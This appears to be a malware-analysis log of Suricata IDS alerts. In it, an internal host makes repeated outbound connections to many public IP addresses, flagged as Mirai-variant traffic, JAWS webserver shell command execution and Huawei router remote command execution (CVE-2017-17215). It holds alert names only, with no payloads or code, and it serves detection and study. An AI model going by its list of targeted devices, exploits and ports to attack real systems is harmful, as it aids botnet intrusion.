Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50606 -> 106.119.111.49:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45994 -> 93.104.201.65:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56424 -> 145.20.17.13:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34848 -> 73.104.148.95:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34482 -> 64.69.46.207:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34848 -> 73.104.148.95:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34482 -> 64.69.46.207:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57504 -> 186.44.230.51:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57504 -> 186.44.230.51:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37786 -> 66.28.161.170:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33070 -> 116.198.57.17:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33070 -> 116.198.57.17:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35752 -> 112.106.103.207:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45530 -> 1.78.144.178:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53450 -> 197.166.40.133:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45530 -> 1.78.144.178:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55086 -> 2.233.134.116:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45042 -> 155.207.215.11:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37786 -> 66.28.161.170:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55086 -> 2.233.134.116:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44762 -> 201.157.7.217:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44762 -> 201.157.7.217:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45496 -> 161.115.163.88:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36864 -> 159.157.188.52:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36864 -> 159.157.188.52:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45042 -> 155.207.215.11:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59800 -> 111.131.4.87:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59800 -> 111.131.4.87:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41832 -> 192.18.96.173:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41618 -> 101.211.231.251:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41618 -> 101.211.231.251:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41832 -> 192.18.96.173:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33488 -> 125.111.75.105:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33488 -> 125.111.75.105:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48866 -> 49.132.127.254:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48866 -> 49.132.127.254:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48538 -> 57.247.150.105:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41006 -> 97.55.138.48:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48538 -> 57.247.150.105:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33352 -> 213.75.138.155:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33352 -> 213.75.138.155:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49884 -> 175.136.0.206:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55390 -> 103.104.235.120:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55390 -> 103.104.235.120:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41006 -> 97.55.138.48:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53464 -> 128.160.146.62:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53464 -> 128.160.146.62:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55198 -> 138.190.218.64:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55198 -> 138.190.218.64:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60176 -> 99.212.18.166:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60176 -> 99.212.18.166:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54072 -> 194.18.61.94:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55962 -> 76.165.243.2:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55962 -> 76.165.243.2:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49884 -> 175.136.0.206:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51268 -> 17.188.107.76:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51268 -> 17.188.107.76:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51820 -> 110.23.29.220:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51820 -> 110.23.29.220:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56048 -> 197.105.173.170:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37176 -> 1.252.247.68:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37176 -> 1.252.247.68:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49154 -> 107.229.45.191:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56914 -> 46.96.134.251:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56914 -> 46.96.134.251:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48116 -> 54.6.47.124:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48116 -> 54.6.47.124:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40132 -> 128.106.21.141:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40132 -> 128.106.21.141:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54072 -> 194.18.61.94:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40276 -> 8.43.2.155:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40276 -> 8.43.2.155:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60086 -> 176.10.51.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60086 -> 176.10.51.162:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44828 -> 13.37.13.251:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44828 -> 13.37.13.251:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49154 -> 107.229.45.191:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39196 -> 124.243.135.24:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39196 -> 124.243.135.24:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42840 -> 189.147.217.224:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42840 -> 189.147.217.224:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39612 -> 191.228.77.210:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39612 -> 191.228.77.210:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53260 -> 197.235.112.160:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59226 -> 116.216.114.6:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59226 -> 116.216.114.6:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35332 -> 174.196.88.173:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35332 -> 174.196.88.173:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40120 -> 131.59.130.94:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40120 -> 131.59.130.94:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38702 -> 180.60.94.132:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38702 -> 180.60.94.132:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39456 -> 156.146.98.24:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39456 -> 156.146.98.24:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59578 -> 179.140.51.217:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59578 -> 179.140.51.217:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54800 -> 89.137.176.141:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54800 -> 89.137.176.141:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35002 -> 197.81.175.206:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50676 -> 156.13.215.132:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56676 -> 197.199.137.232:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58022 -> 42.222.254.70:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58022 -> 42.222.254.70:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42992 -> 82.147.27.113:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48634 -> 156.210.38.127:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44256 -> 156.219.192.223:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59154 -> 208.52.232.31:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59154 -> 208.52.232.31:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53344 -> 156.100.250.170:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50762 -> 41.67.28.55:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42152 -> 60.178.102.141:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42152 -> 60.178.102.141:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42992 -> 82.147.27.113:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44398 -> 150.222.20.65:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44398 -> 150.222.20.65:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42236 -> 197.1.206.139:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46118 -> 197.98.23.17:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46118 -> 197.98.23.17:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33390 -> 166.205.84.52:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33390 -> 166.205.84.52:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53810 -> 2.126.27.220:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53810 -> 2.126.27.220:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53538 -> 100.53.164.49:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53538 -> 100.53.164.49:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52782 -> 19.2.6.115:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52782 -> 19.2.6.115:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36912 -> 148.28.111.157:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36912 -> 148.28.111.157:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47612 -> 210.159.47.47:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47612 -> 210.159.47.47:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37630 -> 156.127.117.248:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53894 -> 197.125.185.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60136 -> 156.138.215.210:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45572 -> 156.234.118.115:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41936 -> 66.167.139.239:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41936 -> 66.167.139.239:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44106 -> 211.28.212.81:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40734 -> 197.236.127.19:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44106 -> 211.28.212.81:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50260 -> 156.110.116.192:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44492 -> 178.212.220.26:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56618 -> 119.163.95.200:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44492 -> 178.212.220.26:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56618 -> 119.163.95.200:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46520 -> 63.186.73.228:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46520 -> 63.186.73.228:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55242 -> 197.199.156.6:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53846 -> 41.195.129.201:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55640 -> 41.48.156.167:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50414 -> 156.142.216.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51134 -> 41.72.40.186:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38364 -> 156.30.63.25:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47198 -> 102.244.213.7:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57052 -> 197.36.67.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54208 -> 156.173.48.6:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47198 -> 102.244.213.7:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50584 -> 165.204.23.192:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50584 -> 165.204.23.192:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48634 -> 206.130.193.31:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36286 -> 82.117.212.11:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48634 -> 206.130.193.31:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36286 -> 82.117.212.11:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55076 -> 20.46.92.83:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55076 -> 20.46.92.83:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59224 -> 155.1.144.0:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42842 -> 196.188.148.76:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49278 -> 209.24.153.157:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49278 -> 209.24.153.157:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42842 -> 196.188.148.76:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59224 -> 155.1.144.0:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36528 -> 173.92.73.28:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36528 -> 173.92.73.28:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38642 -> 129.65.108.220:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38642 -> 129.65.108.220:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49590 -> 157.22.181.36:80
